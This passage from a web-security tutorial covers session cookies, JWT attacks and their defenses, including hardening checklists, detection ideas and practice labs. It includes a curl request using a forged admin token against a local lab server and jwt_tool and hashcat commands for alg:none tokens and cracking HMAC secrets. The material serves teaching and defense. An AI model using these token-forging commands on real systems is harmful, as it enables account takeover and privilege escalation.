curl -s http://localhost:5001/admin -H "Authorization: Bearer $FORGED"
# -> {"msg":"welcome admin"}     ACCOUNT/PRIV ESCALATION

Attack 3 — the alg:none playbook (against a naive verifier): run python3 jwt_tool.py "$TOK" -X a and feed the produced none-alg token to /admin. Against our PyJWT verifier with an explicit algorithms=["HS256"] allowlist it is rejected — which is the whole point: the fix for alg:none is the allowlist you just saw stop it. Remove the allowlist and watch it succeed — proving the vulnerability is the missing allowlist, not the token.

You have now, from scratch: issued sessions, stolen and replayed one, fixed a session, decoded and tampered a signed cookie, and cracked-and-forged a JWT. That is the entire attack surface of this chapter, exercised end to end.

---

Part 13: OAuth, SSO and Refresh Tokens — Where This Leads

You will rarely mint tokens by hand in production; you’ll receive them from an identity provider via OAuth 2.0 / OpenID Connect. A quick orientation so the vocabulary isn’t foreign when the dedicated chapters arrive:

• OAuth 2.0 is a delegated authorization framework: “let this app access this resource on my behalf” (e.g. “let Foo read my Google contacts”). The app receives an access token (a bearer token, frequently a JWT) it presents to the resource server.
• OpenID Connect (OIDC) layers authentication on top of OAuth: it adds an ID token (a JWT describing who logged in) so apps can use “Sign in with Google/Apple/etc.” for login, not just resource access.
• Access token vs refresh token. The access token is short-lived and sent on every API call. The refresh token is long-lived, kept secret (ideally in an HttpOnly cookie or secure storage), and exchanged at the token endpoint for fresh access tokens without re-prompting the user. Refresh tokens are the revocation lever for stateless access tokens (Part 11).

sequenceDiagram
    participant U as User
    participant App as App (client)
    participant IdP as Identity Provider
    participant API as Resource Server
    U->>App: click "Sign in with X"
    App->>IdP: redirect (authorization request)
    U->>IdP: authenticate + consent
    IdP-->>App: authorization code (redirect)
    App->>IdP: exchange code (+ client secret) for tokens
    IdP-->>App: access_token (short) + refresh_token (long) + id_token
    App->>API: request + Authorization: Bearer access_token
    API-->>App: protected resource
    App->>IdP: refresh_token -> new access_token (when expired)

The bug classes here (redirect_uri manipulation, state-parameter CSRF, token leakage via Referer, PKCE downgrade, implicit-flow token exposure) build directly on the cookie, token, CSRF, and redirect material from this chapter and Chapter 2 — which is why this ordering exists. The dedicated OAuth chapter goes deep; here it’s enough to see that “sessions and tokens” is the substrate the whole SSO world stands on.

---

Part 14: Detection & Defense Angle — Hardening and Monitoring Session Security

Pulling every defensive thread into one consolidated place, as the reference chapters do.

Cookie & session hardening checklist (the non-negotiables):

• Session cookies: HttpOnly, Secure, SameSite=Lax (or Strict where UX allows), __Host- prefix, host-only (no broad Domain), sensible Max-Age.
• Session IDs: ≥128 bits of CSPRNG entropy; never in URLs; regenerate on login and on any privilege change.
• Absolute + idle timeouts: expire sessions both after a fixed lifetime and after inactivity.
• Server-side invalidation on logout, password change, and suspicious activity; offer “log out of all sessions.”
• CSRF: SameSite plus synchronizer tokens on every state-changing route; verify Origin/Referer on sensitive actions.

JWT hardening checklist:

• Enforce an algorithm allowlist in the verifier; never trust the token’s alg. Reject none.
• Strong keys: ≥256-bit random HMAC secret, or asymmetric RS256/ES256 with proper key management. Rotate keys; use kid to select from a trusted keyset (allowlist the source).
• Always validate exp, nbf, iss, aud. Reject tokens for the wrong audience/issuer.
• Short access-token lifetimes; revocable refresh tokens; a jti denylist for emergency revocation.
• Never store secrets/PII in a JWS payload. Prefer HttpOnly-cookie storage over localStorage in browsers.

What detection looks like (blue team / IR):

flowchart LR
    A[Auth & session logs] --> B{Anomaly?}
    B -->|Same SID, 2 distant IPs| C[Possible hijack]
    B -->|SID unchanged across login| D[Fixation-prone app]
    B -->|POST w/ cross-site Origin + valid SID| E[CSRF attempt]
    B -->|alg=none / unexpected alg seen| F[JWT tampering attempt]
    C --> G[Revoke session, alert]
    E --> G
    F --> G

• Impossible-travel / concurrent-use detection: the same session ID or token used from two geographically distant IPs within minutes is a strong hijack signal. Alert and optionally force re-auth.
• Session-anomaly monitoring: sudden User-Agent changes on a live session, privilege use that doesn’t match the session’s role claim, or a spike in 401/403 from token tampering.
• JWT tamper telemetry: log signature-verification failures and any request presenting alg:none or an unexpected algorithm — those are not accidents, they’re probes.
• Token/secret exposure hunting: grep your logs, Referer headers, and error pages for anything resembling a JWT (eyJ...) or session ID; tokens in URLs or logs are an incident.

The defensive posture is layered: make the artifact unstealable (HttpOnly, Secure), unforgeable (CSPRNG SIDs, strong signatures, alg allowlists), short-lived (timeouts, short exp), and revocable (server sessions or refresh-token rotation) — and then watch for the telemetry that says someone tried anyway.

---

Part 15: Final Revision / Summary

The through-line of this chapter, compressed:

• HTTP is stateless, so identity must be re-proven on every request via some artifact traveling with the request. Protecting that artifact is the whole game.
• Server-side sessions store state on the server and hand the client an opaque session ID. A SID is a pointer; its security rests on being long, high-entropy, CSPRNG-generated, and unguessable. Sessions are revocable instantly but need a shared store to scale.
• Cookies transport the SID. Set-Cookie carries the value + attributes; the Cookie header carries only name=value. The security attributes — HttpOnly (anti-XSS-theft), Secure (anti-sniff), SameSite (anti-CSRF), Domain/Path (scope), __Host- prefix — each map to a specific bug class.
• Session attacks: hijacking (steal a live SID), fixation (plant a SID before login → fix by regenerating the ID at login), and never putting SIDs in URLs.
• CSRF exploits cookies’ automatic cross-site sending. Defend with SameSite + anti-CSRF tokens + origin checks. Token-in-header auth is inherently CSRF-immune.
• Tokens / JWTs are self-contained, signed identity (header.payload.signature). A token is the data; the server verifies a signature instead of doing a lookup — enabling stateless scale. But the payload is readable (never store secrets in it) and the token is valid until exp.
• JWT attacks: alg:none (fix: algorithm allowlist), RS256→HS256 confusion (fix: pin the algorithm), weak-HMAC brute force (fix: strong random secret / asymmetric keys), plus exp neglect, kid/jku injection, missing aud checks.
• Stateful vs stateless is really where session truth lives. Stateful → instant revocation, needs a store. Stateless → trivial scaling, hard revocation (the logout problem), solved pragmatically with short access tokens + revocable refresh tokens (a hybrid).
• Storage matters: HttpOnly cookie (safe from XSS, needs CSRF defense) vs localStorage (CSRF-immune, exposed to XSS). Pick your poison deliberately.

If you can read a raw Set-Cookie, explain every attribute, decode a JWT by hand, and name the fix for alg:none without looking it up, you own this chapter.

---

Part 16: Cheat Sheet / Quick Reference

Ideal session cookie

Set-Cookie: __Host-SID=<128-bit CSPRNG hex>; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=3600

Cookie attribute → defends against

Attribute	Defends against
HttpOnly	Cookie theft via XSS (document.cookie)
Secure	Cleartext sniffing / SSL-strip
SameSite=Lax/Strict	CSRF (cross-site auto-send)
__Host- prefix	Subdomain cookie injection/fixation
host-only Domain	Leakage to untrusted subdomains

Generate a strong SID

import secrets; sid = secrets.token_hex(16)   # 128 bits

const sid = require('crypto').randomBytes(16).toString('hex');

Decode a JWT (no key)

echo '<payload-segment>' | base64 -d 2>/dev/null   # Base64URL: tr '_-' '/+' first if needed

JWT attack quicklist

Attack	One-liner idea	Fix
alg:none	set alg:none, empty sig	algorithm allowlist
RS256→HS256	HMAC-sign with the public key	pin algorithm
Weak secret	hashcat -m 16500 / jwt_tool -C	≥256-bit random secret
No exp check	replay old token	validate exp/nbf/aud

Session fixation test: cookie value before login == after login? → vulnerable.

jwt_tool essentials

python3 jwt_tool.py <token>                  # decode
python3 jwt_tool.py <token> -X a             # alg:none
python3 jwt_tool.py <token> -C -d words.txt  # crack HMAC secret
python3 jwt_tool.py -t <url> -rh "Authorization: Bearer <t>" -M pb   # playbook

Stateful vs stateless one-liner: session ID = pointer (revocable, needs store); token = data (scales, hard to revoke).

---

Part 17: Common Pitfalls

• Not regenerating the session ID at login. The single most common session bug → fixation. Rotate on every privilege change, always.
• Session ID in a URL. Leaks via Referer, logs, history. SIDs go in cookies (or auth headers), never the address bar.
• Trusting the JWT’s alg field. alg:none and RS256→HS256 confusion both flow from a verifier that lets the token pick the algorithm. Always allowlist server-side.
• Weak HMAC secret. secret, changeme, framework defaults → offline brute force → total forgery. Use a long random secret or asymmetric keys.
• Forgetting to check exp. A token with no expiry validation is a permanent credential; a stolen one never dies.
• Broad cookie Domain. Scoping the session cookie to the parent domain shares it with every subdomain, including forgotten/weak ones. Prefer host-only + __Host-.
• Assuming SameSite=Lax kills all CSRF. It doesn’t cover state-changing GET endpoints, and some infra strips it. Keep anti-CSRF tokens too.
• JWT in localStorage. Convenient, but any XSS exfiltrates the token. Prefer HttpOnly cookies for the sensitive credential.
• Putting secrets/PII in a JWT payload. A JWS is signed, not encrypted — the client reads everything. Use JWE or keep secrets server-side.
• Believing statelessness gives you free logout. It doesn’t. Plan revocation (short exp + refresh-token rotation or a jti denylist) from day one.
• No idle/absolute timeout. Sessions that never expire turn any single theft into indefinite access.

---

Part 18: Practice Labs & Resources

Train each concept from this chapter on a purpose-built, legal target:

• PortSwigger Web Security Academy (free, the gold standard):
  • Authentication labs — brute-forcing, weak session handling, and logic flaws.
  • JWT attacks — the full set: unverified signature, alg:none, weak signing key (brute-force), RS256→HS256 algorithm confusion, jwk/jku/kid header injection. Do all of these with jwt_tool and the built-in JWT Editor Burp extension.
  • CSRF — token-missing, token-not-tied-to-session, SameSite bypass, and method-override labs.
  • OAuth 2.0 — for the Part 13 follow-on (linking, redirect_uri, state CSRF).
• OWASP Juice Shop — hunt real session/JWT/cookie bugs end to end (it uses JWTs; several challenges are pure token attacks).
• TryHackMe — JWT Security, Session Management, and the OWASP Top 10 (Broken Authentication / Identification & Authentication Failures) rooms.
• HackTheBox — web challenges and easy boxes that hinge on cookie tampering and JWT forgery.
• picoCTF — the web-exploitation category regularly features cookie-tampering and JWT challenges, good for first exposure.
• Tooling to learn alongside: jwt_tool and hashcat -m 16500 (JWT cracking), Burp Sequencer (session-token entropy analysis), Burp JWT Editor extension, flask-unsign (Flask signed-cookie forgery), and curl -c/-b cookie jars for scripted session drills.

Practice questions / mini-labs to self-test:

1. You capture a cookie auth=YWRtaW46MTcwMDAwMDAwMA==. Decode it, explain why it’s insecure, and describe the exact request that gives you another user’s account. What single server change fixes it?
2. Given a login flow, write the precise procedure (with curl) to prove the app is vulnerable to session fixation, and state the one-line server fix.
3. You hold an HS256 JWT signed with an unknown secret. Walk through recovering the secret and forging an admin token, naming the exact tools and modes.
4. Explain why a JWT carried in an Authorization: Bearer header is immune to classic CSRF but a session cookie is not — and what new risk the bearer-token approach introduces instead.
5. Design the auth for a bank web app that needs both trivial horizontal scaling and instant “log out everywhere.” Which model do you choose, and exactly how do you get both properties?